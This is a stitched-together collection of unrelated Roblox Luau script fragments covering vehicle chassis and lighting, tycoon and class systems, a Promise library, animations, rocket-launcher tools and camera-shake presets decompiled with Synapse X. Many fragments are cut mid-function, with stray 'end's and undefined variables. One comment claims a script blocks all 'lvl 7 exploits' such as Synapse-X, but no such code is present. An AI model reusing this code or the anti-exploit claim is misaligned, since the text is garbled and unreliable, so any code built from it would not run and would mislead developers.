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-- Write function setters: (Calling outside a write function will throw an error)
function Replica:SetValue(path, value) if WriteFunctionFlag == false then error(SETTINGS.SetterError) end local path_array = (type(path) == "string") and StringPathToArray(path) or path ReplicaSetValue(self.Id, path_array, value) end function Replica:SetValues(path, values) if WriteFunctionFlag == false then error(SETTINGS.SetterError) end local path_array = (type(path) == "string") and StringPathToArray(path) or path ReplicaSetValues(self.Id, path_array, values) end function Replica:ArrayInsert(path, value) --> new_index if WriteFunctionFlag == false then error(SETTINGS.SetterError) end local path_array = (type(path) == "string") and StringPathToArray(path) or path return ReplicaArrayInsert(self.Id, path_array, value) end function Replica:ArraySet(path, index, value) if WriteFunctionFlag == false then error(SETTINGS.SetterError) end local path_array = (type(path) == "string") and StringPathToArray(path) or path ReplicaArraySet(self.Id, path_array, index, value) end function Replica:ArrayRemove(path, index) --> removed_value if WriteFunctionFlag == false then error(SETTINGS.SetterError) end local path_array = (type(path) == "string") and StringPathToArray(path) or path return ReplicaArrayRemove(self.Id, path_array, index) end function Replica:Write(function_name, ...) --> return_params... if WriteFunctionFlag == false then error(SETTINGS.SetterError) end local func_id = self._write_lib_dictionary[function_name] local return_params = table.pack(self._write_lib[func_id](self, ...)) -- Signaling listeners: local listeners = self._function_listeners[func_id] if listeners ~= nil then for _, listener in ipairs(listeners) do listener(...) end end return table.unpack(return_params) end
-- Services
local RunService = game:GetService("RunService")
--made by Bertox --lul
local ts = game:GetService("TweenService") local fadeDRL = TweenInfo.new(2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut) local fadeDRL2 = TweenInfo.new(4, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut) local goal = {} local goal2 = {} local F = {} local car = script.Parent.Parent.Parent.Parent script.Parent.Parent.Parent.Parent.Electrics.Changed:connect(function() if script.Parent.Parent.Parent.Parent.Electrics.Value == true then drlFade(true) else drlFade(false) end end) function drlFade(bool) if bool then goal2.Transparency = 0.2 local a = ts:Create(car.Body.DRLs.DRL, fadeDRL, goal2) a:Play() else goal2.Transparency = 1 local a = ts:Create(car.Body.DRLs.DRL, fadeDRL, goal2) a:Play() end end F.drlFade = function(bool) drlFade(bool) end
-------------------------------------------------------------------------
local function FlashRed(object) local origColor = object.BrickColor local redColor = BrickColor.new("Really red") local start = tick() local duration = 4 spawn(function() while object and tick() - start < duration do object.BrickColor = origColor wait(0.13) if object then object.BrickColor = redColor end wait(0.13) end end) end
--Balance Brick
local bal = Instance.new("Part",bike.Body) bal.Anchored = true bal.CanCollide = false if _Tune.BalVisible or _Tune.Debug then bal.Transparency = .75 else bal.Transparency = 1 end bal.Name = "bal" bal.Position = (fWheel.CFrame.p+rWheel.CFrame.p)/2 bal.Orientation = fWheel.Orientation bal.CFrame = bal.CFrame - (Vector3.new((rWheel.Size.Y-(rWheel.Size.Y-fWheel.Size.Y))/2,(rWheel.Size.Y-(rWheel.Size.Y-fWheel.Size.Y))/2,(rWheel.Size.Y-(rWheel.Size.Y-fWheel.Size.Y))/2)*bal.CFrame.upVector) bal.Size = Vector3.new(.05,.05,.05)
--back motor
script.Parent.Wheels.boggieF.motb.HingeConstraint.AngularVelocity = speed script.Parent.Wheels.boggieF.motb.HingeConstraint2.AngularVelocity = -speed script.Parent.Wheels.boggieF.motb.HingeConstraint.MotorMaxTorque = RPM script.Parent.Wheels.boggieF.motb.HingeConstraint2.MotorMaxTorque = RPM
--StarterPlayerScripts
local plr = game:GetService("Players").LocalPlayer game:GetService("RunService").Heartbeat:Connect(function() plr.Character:WaitForChild("Humanoid").CameraOffset = Vector3.new(plr.Character:WaitForChild("Humanoid").CameraOffset.X,plr.Character:WaitForChild("Humanoid").CameraOffset.Y, -1)--Edit Only The Last Number Value end)
-- Libraries
local Roact = require(Vendor:WaitForChild('Roact')) local new = Roact.createElement
------------------------------------------
local mps = game:GetService("MarketplaceService") local music = game.Workspace:WaitForChild("Sound") local requester = workspace.Requester
--local bodyPosition = Instance.new("BodyPosition", car.Chassis) --bodyPosition.MaxForce = Vector3.new() --local bodyGyro = Instance.new("BodyGyro", car.Chassis) --bodyGyro.MaxTorque = Vector3.new()
local function UpdateThruster(thruster) -- Raycasting local hit, position = Raycast.new(thruster.Position, thruster.CFrame:vectorToWorldSpace(Vector3.new(0, -1, 0)) * stats.Height.Value) --game.Workspace:FindPartOnRay(ray, car) local thrusterHeight = (position - thruster.Position).magnitude -- Wheel local wheelWeld = thruster:FindFirstChild("WheelWeld") wheelWeld.C0 = CFrame.new(0, -math.min(thrusterHeight, stats.Height.Value * 0.8) + (wheelWeld.Part1.Size.Y / 2), 0) -- Wheel turning local offset = car.Chassis.CFrame:inverse() * thruster.CFrame local speed = car.Chassis.CFrame:vectorToObjectSpace(car.Chassis.Velocity) if offset.Z < 0 then local direction = 1 if speed.Z > 0 then direction = -1 end wheelWeld.C0 = wheelWeld.C0 * CFrame.Angles(0, (car.Chassis.RotVelocity.Y / 2) * direction, 0) end -- Particles if hit and thruster.Velocity.magnitude >= 5 then wheelWeld.Part1.ParticleEmitter.Enabled = true else wheelWeld.Part1.ParticleEmitter.Enabled = false end end car.Event.OnServerEvent:Connect(function(Player) if Player and Player.Character then if (Player.Character.HumanoidRootPart.Position-car.DriveSeat.Position).magnitude <= car.Configurations.Range.Value then if not HasDriver then car.DriveSeat:Sit(Player.Character.Humanoid) end end end end) car.DriveSeat.Changed:connect(function(property) if property == "Occupant" then if car.DriveSeat.Occupant then car.EngineBlock.Running.Pitch = 1 car.EngineBlock.Running:Play() local player = game.Players:GetPlayerFromCharacter(car.DriveSeat.Occupant.Parent) if player then HasDriver = true car.DriveSeat:SetNetworkOwner(player) local localCarScript = script.LocalCarScript:Clone() localCarScript.Parent = player.PlayerGui localCarScript.Car.Value = car localCarScript.Disabled = false end else HasDriver = false car.EngineBlock.Running:Stop() end end end)
--CMDR.Registry:RegisterHook("AfterRun", function(context) -- local MessageData = { -- ["content"] = "**" .. context.Executor.Name .. "** ran command `"..context.RawText.."`" -- }
-- creates a mask with 'n' 1 bits at position 'p' -- MASK1(n,p) deleted, not required -- creates a mask with 'n' 0 bits at position 'p' -- MASK0(n,p) deleted, not required
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.PieBomb -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage hitPart.Touched:Connect(function(hit) if debounce == true then if hit.Parent:FindFirstChild("Humanoid") then local plr = game.Players:FindFirstChild(hit.Parent.Name) if plr then debounce = false hitPart.BrickColor = BrickColor.new("Bright red") tool:Clone().Parent = plr.Backpack wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again debounce = true hitPart.BrickColor = BrickColor.new("Bright green") end end end end)
--// B_arocena
local _C = {} function _C.RemoveHat(hts) for i=1, #hts do if (hts[i].className == "Accessory") or (hts[i].className == "Hat") then hts[i]:remove() end end end function _C.ShirtPant (Outfit,Player,CClass) if CClass.Current.Value < CClass.Max.Value then if Player.Class.Current_Class.Value == "None" then if Outfit.Shirt.Value ~= 0 then Player.Character:WaitForChild("Shirt"):destroy() game:GetService("InsertService"):LoadAsset(Outfit.Shirt.Value).Shirt.Parent = Player.Character end if Outfit.Pant.Value ~= 0 then Player.Character:WaitForChild("Pants"):destroy() game:GetService("InsertService"):LoadAsset(Outfit.Pant.Value).Pants.Parent = Player.Character end end end end function _C.GiveHat (s,CSYS,Player,Outfit,CClass) if CClass.Current.Value < CClass.Max.Value then if Player.Class.Current_Class.Value == "None" then if s.Value ~= "" then local g = CSYS.HATS[s.Value]:clone() g.Parent = Player.Character local C = g:GetChildren() for i=1, #C do if C[i]:IsA("BasePart") then local W = Instance.new("Weld") W.Part0 = g.Middle W.Part1 = C[i] local CJ = CFrame.new(g.Middle.Position) local C0 = g.Middle.CFrame:inverse()*CJ local C1 = C[i].CFrame:inverse()*CJ W.C0 = C0 W.C1 = C1 W.Parent = g.Middle g.Middle.Transparency = 1 end local Y = Instance.new("Weld") local Result = (s.Value):match("BACKPACK") if Result == nil then Y.Part0 = Player.Character.Head else Y.Part0 = Player.Character.Torso end Y.Part1 = g.Middle Y.C0 = CFrame.new(0, 0, 0) Y.Parent = Y.Part0 end local h = g:GetChildren() for i = 1, # h do h[i].Anchored = false h[i].CanCollide = false end end end end end function _C.giveclass (CClass,Player,CLNAME,Tools,Gui) if CClass.Current.Value < CClass.Max.Value then if Player.Class.Current_Class.Value == "None" then Player.Class.Current_Class.Value = CLNAME CClass.Current.Value = CClass.Current.Value + 1 for i = 1, #Tools do Tools[i]:Clone().Parent = Player.Backpack end Gui:Destroy() end end end return _C
--[[Status Vars]]
local _IsOn = _Tune.AutoStart if _Tune.AutoStart then script.Parent.IsOn.Value=true end local _GSteerT=0 local _GSteerC=0 local _GThrot=0 local _GThrotShift=1 local _GBrake=0 local _ClutchOn = true local _ClPressing = false local _RPM = 0 local _HP = 0 local _OutTorque = 0 local _CGear = 0 local _PGear = _CGear local _spLimit = 0 local _TMode = _Tune.TransModes[1] local _MSteer = false local _SteerL = false local _SteerR = false local _PBrake = false local _TCS = _Tune.TCSEnabled local _TCSActive = false local _TCSAmt = 0 local _ABS = _Tune.ABSEnabled local _ABSActive = false local FlipWait=tick() local FlipDB=false local _InControls = false
----------------------------------------------------------------------------------------------- -----------------------------------------------------------------------------------------------
PainKillerQnt.Text = PainKiller.Value BandageQnt.Text = Bandage.Value EnergyShotQnt.Text = EnergyShot.Value EpinephrineQnt.Text = Epinephrine.Value MorphineQnt.Text = Morphine.Value SplintQnt.Text = Splint.Value TourniquetQnt.Text = Tourniquet.Value PainKiller.Changed:Connect(function() PainKillerQnt.Text = PainKiller.Value end) Bandage.Changed:Connect(function() BandageQnt.Text = Bandage.Value end) Splint.Changed:Connect(function() SplintQnt.Text = Splint.Value end) Tourniquet.Changed:Connect(function() TourniquetQnt.Text = Tourniquet.Value end) EnergyShot.Changed:Connect(function() EnergyShotQnt.Text = EnergyShot.Value end) Epinephrine.Changed:Connect(function() EpinephrineQnt.Text = Epinephrine.Value end) Morphine.Changed:Connect(function() MorphineQnt.Text = Morphine.Value end) SacoDeSangue.Changed:Connect(function() SacoDeSangueQnt.Text = SacoDeSangue.Value end) Target.Changed:Connect(function(Valor) if Valor == nil then PTexto.Text = player.Name else PTexto.Text = Valor.Name end end)
------------------------------------------------------------------------ -- -- * used in (lparser) luaY:closelistfield(), luaY:lastlistfield() ------------------------------------------------------------------------
function luaK:setlist(fs, base, nelems, tostore) local c = math.floor((nelems - 1)/luaP.LFIELDS_PER_FLUSH) + 1 local b = (tostore == luaY.LUA_MULTRET) and 0 or tostore assert(tostore ~= 0) if c <= luaP.MAXARG_C then self:codeABC(fs, "OP_SETLIST", base, b, c) else self:codeABC(fs, "OP_SETLIST", base, b, 0) self:code(fs, luaP:CREATE_Inst(c), fs.ls.lastline) end fs.freereg = base + 1 -- free registers with list values end return function(a) luaY = a return luaK end
-- connect events
Enemy.Died:connect(onDied) Enemy.Running:connect(onRunning) Enemy.Jumping:connect(onJumping) Enemy.Climbing:connect(onClimbing) Enemy.GettingUp:connect(onGettingUp) Enemy.FreeFalling:connect(onFreeFall) Enemy.FallingDown:connect(onFallingDown) Enemy.Seated:connect(onSeated) Enemy.PlatformStanding:connect(onPlatformStanding) Enemy.Swimming:connect(onSwimming)
--[[for x = 1, 50 do s.Pitch = s.Pitch + 0.01 s:play() wait(0.001) end]]
for x = 50, 120 do s:play() wait(0.001) end for x = 50, 120 do s.Pitch = s.Pitch - 0.0020 s:play() wait(0.001) end wait() end
--[[ All configurations are located in the "Settings" Module script. Please don't edit this script unless you know what you're doing. --]]
local Tycoons = {} local RebirthSettings = require(script.Parent.SaveTrigger.Settings) local Teams = game:GetService('Teams') local Settings = require(script.Parent.Settings) local BC = BrickColor local playerMoney = game:GetService("ServerStorage"):FindFirstChild("PlayerMoney") local PlayerStatManager = require(script.Parent:WaitForChild("PlayerStatManager")) print("Running Core_Handler_New-----------") if playerMoney == nil then print("playerMoney == nil ------------") local Storage = Instance.new('Folder', game.ServerStorage) Storage.Name = "PlayerMoney" end Instance.new('Model',workspace).Name = "PartStorage" -- parts dropped go in here to be killed >:) function returnColorTaken(color) for i,v in pairs(Teams:GetChildren()) do if v:IsA('Team') then if v.TeamColor == color then return true end end end return false end
-- main:
physicsService:CreateCollisionGroup("Characters") physicsService:CollisionGroupSetCollidable("Characters", "Characters", false) players.PlayerAdded:Connect(function(player) player.CharacterAdded:Connect(handleCharacter) end) for i, v in pairs(game.ReplicatedStorage.Enemys:GetChildren()) do if v:IsA("Model") then handleNPcs(v) end end for i, v in pairs(game.ReplicatedStorage.Units:GetChildren()) do if v:IsA("Model") then handleNPcs(v) end end
-- RCM Settings V
self.WeaponWeight = 4 -- Weapon weight must be enabled in the Config module self.ShellEjectionMod = true self.Holster = true self.HolsterPoint = "Torso" self.HolsterCFrame = CFrame.new(0.65,0.1,-0.8) * CFrame.Angles(math.rad(-90),math.rad(15),math.rad(75)) self.FlashChance = 4 -- 0 = no muzzle flash, 10 = Always muzzle flash self.ADSEnabled = { -- Ignore this setting if not using an ADS Mesh true, -- Enabled for primary sight false} -- Enabled for secondary sight (T) self.ExplosiveAmmo = false -- Enables explosive ammo self.ExplosionRadius = 70 -- Radius of explosion damage in studs self.ExplosionType = "Default" -- Which explosion effect is used from the HITFX Explosion folder self.IsLauncher = true -- For RPG style rocket launchers self.EjectionOverride = nil -- Don't touch unless you know what you're doing with Vector3s return self
--[[ Intended for use in tests. Similar to await(), but instead of yielding if the promise is unresolved, _unwrap will throw. This indicates an assumption that a promise has resolved. ]]
function Promise.prototype:_unwrap() if self._status == Promise.Status.Started then error("Promise has not resolved or rejected.", 2) end local success = self._status == Promise.Status.Resolved return success, unpack(self._values, 1, self._valuesLength) end function Promise.prototype:_resolve(...) if self._status ~= Promise.Status.Started then if Promise.is((...)) then (...):_consumerCancelled(self) end return end -- If the resolved value was a Promise, we chain onto it! if Promise.is((...)) then -- Without this warning, arguments sometimes mysteriously disappear if select("#", ...) > 1 then local message = string.format( "When returning a Promise from andThen, extra arguments are " .. "discarded! See:\n\n%s", self._source ) warn(message) end local chainedPromise = ... local promise = chainedPromise:andThen( function(...) self:_resolve(...) end, function(...) local maybeRuntimeError = chainedPromise._values[1] -- Backwards compatibility < v2 if chainedPromise._error then maybeRuntimeError = Error.new({ error = chainedPromise._error, kind = Error.Kind.ExecutionError, context = "[No stack trace available as this Promise originated from an older version of the Promise library (< v2)]", }) end if Error.isKind(maybeRuntimeError, Error.Kind.ExecutionError) then return self:_reject(maybeRuntimeError:extend({ error = "This Promise was chained to a Promise that errored.", trace = "", context = string.format( "The Promise at:\n\n%s\n...Rejected because it was chained to the following Promise, which encountered an error:\n", self._source ), })) end self:_reject(...) end ) if promise._status == Promise.Status.Cancelled then self:cancel() elseif promise._status == Promise.Status.Started then -- Adopt ourselves into promise for cancellation propagation. self._parent = promise promise._consumers[self] = true end return end self._status = Promise.Status.Resolved self._valuesLength, self._values = pack(...) -- We assume that these callbacks will not throw errors. for _, callback in ipairs(self._queuedResolve) do coroutine.wrap(callback)(...) end self:_finalize() end function Promise.prototype:_reject(...) if self._status ~= Promise.Status.Started then return end self._status = Promise.Status.Rejected self._valuesLength, self._values = pack(...) -- If there are any rejection handlers, call those! if not isEmpty(self._queuedReject) then -- We assume that these callbacks will not throw errors. for _, callback in ipairs(self._queuedReject) do coroutine.wrap(callback)(...) end else -- At this point, no one was able to observe the error. -- An error handler might still be attached if the error occurred -- synchronously. We'll wait one tick, and if there are still no -- observers, then we should put a message in the console. local err = tostring((...)) coroutine.wrap(function() Promise._timeEvent:Wait() -- Someone observed the error, hooray! if not self._unhandledRejection then return end -- Build a reasonable message local message = string.format( "Unhandled Promise rejection:\n\n%s\n\n%s", err, self._source ) if Promise.TEST then -- Don't spam output when we're running tests. return end warn(message) end)() end self:_finalize() end
-- ~60 c/s
game["Run Service"].Stepped:connect(function() --RPM RPM() --Update External Values _IsOn = script.Parent.IsOn.Value _InControls = script.Parent.ControlsOpen.Value script.Parent.Values.Gear.Value = _CGear script.Parent.Values.RPM.Value = _RPM script.Parent.Values.Horsepower.Value = _HP script.Parent.Values.Torque.Value = _HP * _Tune.EqPoint / _RPM script.Parent.Values.TransmissionMode.Value = _TMode script.Parent.Values.Throttle.Value = _GThrot script.Parent.Values.Brake.Value = _GBrake script.Parent.Values.SteerC.Value = _GSteerC*(1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-(_Tune.MinSteer/100))) script.Parent.Values.SteerT.Value = _GSteerT script.Parent.Values.PBrake.Value = _PBrake script.Parent.Values.TCS.Value = _TCS script.Parent.Values.TCSActive.Value = _TCSActive script.Parent.Values.ABS.Value = _ABS script.Parent.Values.ABSActive.Value = _ABSActive script.Parent.Values.Velocity.Value = car.DriveSeat.Velocity end)
--this will block all lvl 7 exploits such as Synapse-X, RC7, Protosmasher, and more including FE exploits and scripts --just add this to server script storage
-- Player
local localPlayer = PlayerService.LocalPlayer local character = localPlayer.Character
--[=[ Provides utility functions to work with attributes in Roblox @class AttributeUtils ]=]
local require = require(script.Parent.loader).load(script) local RunService = game:GetService("RunService") local Maid = require("Maid") local AttributeUtils = {}
--[=[ Binds the given update function to [RunService.Stepped]. See [StepUtils.bindToRenderStep] for details. :::tip Be sure to call the disconnect function when cleaning up, otherwise you may memory leak. ::: @param update () -> boolean -- should return true while it needs to update @return (...) -> () -- Connect function @return () -> () -- Disconnect function ]=]
function StepUtils.bindToStepped(update) return StepUtils.bindToSignal(RunService.Stepped, update) end
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
local toolAnimName = "" local toolOldAnimTrack = nil local toolAnimTrack = nil local currentToolAnimKeyframeHandler = nil function toolKeyFrameReachedFunc(frameName) if (frameName == "End") then -- print("Keyframe : ".. frameName) local repeatAnim = stopToolAnimations() playToolAnimation(repeatAnim, 0.0, Humanoid) end end function playToolAnimation(animName, transitionTime, humanoid) if (animName ~= toolAnimName) then if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() transitionTime = 0 end local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end -- print(animName .. " * " .. idx .. " [" .. origRoll .. "]") local anim = animTable[animName][idx].anim -- load it to the humanoid; get AnimationTrack toolOldAnimTrack = toolAnimTrack toolAnimTrack = humanoid:LoadAnimation(anim) -- play the animation toolAnimTrack:Play(transitionTime) toolAnimName = animName currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc) end end function stopToolAnimations() local oldAnim = toolAnimName if (currentToolAnimKeyframeHandler ~= nil) then currentToolAnimKeyframeHandler:disconnect() end toolAnimName = "" if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() toolAnimTrack = nil end return oldAnim end
--[ Activation ]:
coroutine.resume(coroutine.create(function() while RunSrv.RenderStepped:wait() and Hum:GetState().Value~=15 do --[ Adding wait() here is the same as adding wait() later. ] local CamCF = Cam.CoordinateFrame --local MsePos = Mouse.Origin.p --[ Might do something with this in a future update... ] if ((IsR6 and Body["Torso"]) or Body["UpperTorso"])~=nil and Body["Head"]~=nil then --[ Check for the Torso and Head... ] local TrsoLV = Trso.CFrame.lookVector local HdPos = Head.CFrame.p if ((IsR6 and Trso["Neck"]) or Head["Neck"])~=nil then --[ Make sure the Neck still exists. ] if Cam.CameraSubject:IsDescendantOf(Body) or Cam.CameraSubject:IsDescendantOf(Plr) then local Dist = nil; local Diff = nil; if not MseGuide then --[ If not tracking the Mouse then get the Camera. ] Dist = (Head.CFrame.p-CamCF.p).magnitude Diff = Head.CFrame.Y-CamCF.Y if not IsR6 then --[ R6 and R15 Neck rotation C0s are different; R15: X axis inverted and Z is now the Y. ] Neck.C0 = OrgnC0*Ang((aSin(Diff/Dist)*Fctor), -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y, 0) else --[ R15s actually have the properly oriented Neck CFrame. ] Neck.C0 = OrgnC0*Ang(-(aSin(Diff/Dist)*Fctor), 0, -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y) end else local _, Point = Wrks:FindPartOnRay(Ray.new(Head.CFrame.p, Mouse.Hit.lookVector), Wrks, false, true) Dist = (Head.CFrame.p-Point).magnitude Diff = Head.CFrame.Y-Point.Y if not IsR6 then Neck.C0 = OrgnC0*Ang(-(aTan(Diff/Dist)*Fctor), (((HdPos-Point).Unit):Cross(TrsoLV)).Y*Fctor, 0) else Neck.C0 = OrgnC0*Ang((aTan(Diff/Dist)*Fctor), 0, (((HdPos-Point).Unit):Cross(TrsoLV)).Y*Fctor) end end end end end end end))
-- Placeholder texture can be any roblox asset link
local initialTexture = "" local RowCount = 1 local ColCount = 2 local perImageSpriteCount = RowCount * ColCount local width = 256 local height = 384 local framesInTotal = 2 assert(numImages * RowCount * ColCount >= framesInTotal) local animPeriod = 0.5 -- period for the whole animation, in seconds assert(animPeriod > 0) local curImageIdx = 0 local curSpriteIdx = 0 local fps = framesInTotal / animPeriod local accumulatedTime = 0 local function AnimateImageSpriteSheet(dt) accumulatedTime = math.fmod(accumulatedTime + dt, animPeriod) curSpriteIdx = math.floor(accumulatedTime * fps) local prevImageIndex = curImageIdx curImageIdx = math.floor(curSpriteIdx / perImageSpriteCount) if prevImageIndex ~= curImageIdx then imageInstance.Image = imageAssetIDs[curImageIdx + 1] end local localSpriteIndex = curSpriteIdx - curImageIdx * perImageSpriteCount local row = math.floor(localSpriteIndex / ColCount) local col = localSpriteIndex - row * ColCount imageInstance.ImageRectOffset = Vector2.new(col * width, row * height) end Animator.Connection = nil Animator.Init = function() Animator.Connection = game:GetService("RunService").RenderStepped:Connect(AnimateImageSpriteSheet) end Animator.Stop = function() if Animator.Connection then imageInstance.Image = initialTexture Animator.Connection:Disconnect() end end return Animator
---[[ Command/Filter Priorities ]]
module.VeryLowPriority = -5 module.LowPriority = 0 module.StandardPriority = 10 module.HighPriority = 20 module.VeryHighPriority = 25 module.WhisperChannelPrefix = "To " return module
--Equip a title for a player
function functions.EquipTitle(plr: Player, titleName: string) local plrStats = plr.leaderstats local plrTitles = plrStats.Titles local plrEquippedTitle = plrStats.EquippedTitle if plrTitles:FindFirstChild(titleName) then functions.UnequipTitle(plr) plrEquippedTitle.Value = titleName functions.CreateBillboardGui(plr) end end
-- Local Functions
local function CreateRocket() local rocketCopy = RocketTemplate:Clone() rocketCopy.PrimaryPart.CFrame = CFrame.new(Configurations.StoragePosition.Value) rocketCopy.Parent = Storage rocketCopy.PrimaryPart:SetNetworkOwner(Owner) if(Owner) then rocketCopy.PrimaryPart.BrickColor = Owner.TeamColor end table.insert(Buffer, rocketCopy) end local function IntializeBuffer() for i = 1, Configurations.BufferSize.Value do CreateRocket() end end local function RemoveFromBuffer(rocket) for i = 1, #Buffer do if Buffer[i] == rocket then table.remove(Buffer, i) return end end end local function ResetRocketOwner() for _, rocket in ipairs(Buffer) do rocket.PrimaryPart:SetNetworkOwner(Owner) if(Owner) then rocket.PrimaryPart.BrickColor = Owner.TeamColor end end end local function OnExplosionHit(part, distance) local player = Players:GetPlayerFromCharacter(part.Parent) or Players:GetPlayerFromCharacter(part.Parent.Parent) if not player then if part.Parent.Name ~= 'RocketLauncher' and part.Parent.Name ~= 'Flag' and not part.Anchored then local volume = part.Size.X * part.Size.Y * part.Size.Z if volume <= Configurations.MaxDestroyVolume.Value then if distance < Configurations.BlastRadius.Value * Configurations.DestroyJointRadiusPercent.Value then part:BreakJoints() end if part.Parent.Name == "Rocket" then RemoveFromBuffer(part.Parent) end if #part:GetChildren() == 0 then wait(2 * volume) part:Destroy() end end end end end local function OnRocketHit(player, rocket, position) local explosion = Instance.new('Explosion', game.Workspace) explosion.ExplosionType = Enum.ExplosionType.NoCraters explosion.DestroyJointRadiusPercent = 0 explosion.BlastRadius = Configurations.BlastRadius.Value explosion.BlastPressure = Configurations.BlastPressure.Value explosion.Position = position rocket.Part.Fire.Enabled = false wait(1) rocket:Destroy() end local function OnChanged(property) if property == 'Parent' then if Tool.Parent.Name == 'Backpack' then local backpack = Tool.Parent Owner = backpack.Parent elseif Players:GetPlayerFromCharacter(Tool.Parent) then Owner = Players:GetPlayerFromCharacter(Tool.Parent) else Owner = nil end ResetRocketOwner() end end local function OnFireRocket(player, rocket) rocket.Rocket.Transparency = 0 rocket.Part.Fire.Enabled = true CreateRocket() end local function DamagePlayer(hitPlayerId, player, damage) local hitPlayer = Players:GetPlayerByUserId(tonumber(hitPlayerId)) if (hitPlayer.TeamColor == player.TeamColor and Configurations.FriendlyFire.Value) or hitPlayer.TeamColor ~= player.TeamColor then local humanoid = hitPlayer.Character:FindFirstChild('Humanoid') if humanoid then humanoid:TakeDamage(damage) end end end local function OnHitPlayers(player, hitPlayers) for hitPlayerId, _ in pairs(hitPlayers) do DamagePlayer(hitPlayerId, player, Configurations.SplashDamage.Value) end end local function OnDirectHitPlayer(player, hitPlayerId) DamagePlayer(hitPlayerId, player, Configurations.Damage.Value) end
--Please edit the parts you'd like to change
wait(0.1) local indicatorOn = BrickColor.new("Deep orange") --The color when the indicators are on. local indicatorOff = BrickColor.new("Bright orange") --The color when the indicators are off. local headlightOff = BrickColor.new("Institutional white") --The color when the headlights are off local headlightLow = BrickColor.new("Institutional white") --The color when the low beams are on local headlightHi = BrickColor.new("Institutional white") --The color when the hi beams are on local reverseOn = BrickColor.new("Institutional white") --The color when in reverse local reverseOff = BrickColor.new("Mid gray") --The color when not in reverse local brakelightOn = BrickColor.new("Really red") --The color when the brakes are on local brakelightOff = BrickColor.new("Maroon") --The color when the brakes are off local rearrunOn = BrickColor.new("Bright red") --The color when the rear running lights are on local rearrunOff = BrickColor.new("Maroon") --The color when the rear running lights are off
-- ROBLOX deviation: skipping path -- local path = require("path")
local WIN_SLASH = "\\\\/" local WIN_NO_SLASH = ("[^%s]"):format(WIN_SLASH)
--//services//--
local tweenService = game:GetService("TweenService")
-- create a holder for our bar
local frame = Instance.new("Frame", screenGui) frame.AnchorPoint = Vector2.new(0.5, 0.5) frame.Position = UDim2.new(0.5, 0, 0.5, 0) frame.Size = UDim2.new(0.3, 0, 0.05, 0)
-- Variables
local Constructor = {} local Index, NewIndex
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; local u1 = require(script.Parent.CameraShakeInstance); function v1.Bump() local v2 = u1.new(2.5, 4, 0.1, 0.75); v2.PositionInfluence = Vector3.new(0.15, 0.15, 0.15); v2.RotationInfluence = Vector3.new(1, 1, 1); return v2; end; function v1.BigBump() local v3 = u1.new(2.5, 4, 0.1, 0.75); v3.PositionInfluence = Vector3.new(0.8, 0.8, 0.8); v3.RotationInfluence = Vector3.new(1, 1, 1); return v3; end; function v1.SmallBump() local v4 = u1.new(2.5, 4, 0.1, 0.75); v4.PositionInfluence = Vector3.new(0.01, 0.01, 0.01); v4.RotationInfluence = Vector3.new(0.5, 0.5, 0.5); return v4; end; function v1.Explosion() local v5 = u1.new(5, 10, 0, 1.5); v5.PositionInfluence = Vector3.new(0.25, 0.25, 0.25); v5.RotationInfluence = Vector3.new(4, 1, 1); return v5; end; function v1.BumpRemaked() local v6 = u1.new(2, 5, 0, 1); v6.PositionInfluence = Vector3.new(0.2, 0.2, 0.2); v6.RotationInfluence = Vector3.new(3, 1, 1); return v6; end; function v1.BigExplosion() local v7 = u1.new(20, 40, 0, 2); v7.PositionInfluence = Vector3.new(0.55, 0.55, 0.55); v7.RotationInfluence = Vector3.new(5, 2, 2); return v7; end; function v1.ReallyBigExplosion() local v8 = u1.new(30, 50, 0, 1.5); v8.PositionInfluence = Vector3.new(1, 1, 1); v8.RotationInfluence = Vector3.new(5, 2, 2); return v8; end; function v1.SmallExplosion() local v9 = u1.new(5, 10, 0, 1.5); v9.PositionInfluence = Vector3.new(0.15, 0.15, 0.15); v9.RotationInfluence = Vector3.new(4, 1, 1); return v9; end; function v1.ExplosionNormal() local v10 = u1.new(5, 10, 0, 1.5); v10.PositionInfluence = Vector3.new(3, 3, 3); v10.RotationInfluence = Vector3.new(4, 1, 1); return v10; end; function v1.Earthquake() local v11 = u1.new(0.6, 3.5, 2, 10); v11.PositionInfluence = Vector3.new(0.25, 0.25, 0.25); v11.RotationInfluence = Vector3.new(1, 1, 4); return v11; end; function v1.BadTrip() local v12 = u1.new(10, 0.15, 5, 10); v12.PositionInfluence = Vector3.new(0, 0, 0.15); v12.RotationInfluence = Vector3.new(2, 1, 4); return v12; end; function v1.HandheldCamera() local v13 = u1.new(1, 0.25, 5, 10); v13.PositionInfluence = Vector3.new(0, 0, 0); v13.RotationInfluence = Vector3.new(1, 0.5, 0.5); return v13; end; function v1.Vibration() local v14 = u1.new(0.4, 20, 2, 2); v14.PositionInfluence = Vector3.new(0, 0.15, 0); v14.RotationInfluence = Vector3.new(1.25, 0, 4); return v14; end; function v1.RoughDriving() local v15 = u1.new(1, 2, 1, 1); v15.PositionInfluence = Vector3.new(0, 0, 0); v15.RotationInfluence = Vector3.new(1, 1, 1); return v15; end; local v16 = {}; function v16.__index(p1, p2) local v17 = v1[p2]; if type(v17) == "function" then return v17(); end; error("No preset found with index \"" .. p2 .. "\""); end; return setmetatable({}, v16);
--[[ Called when the goal state changes value; this will initiate a new tween. Returns false as the current value doesn't change right away. ]]
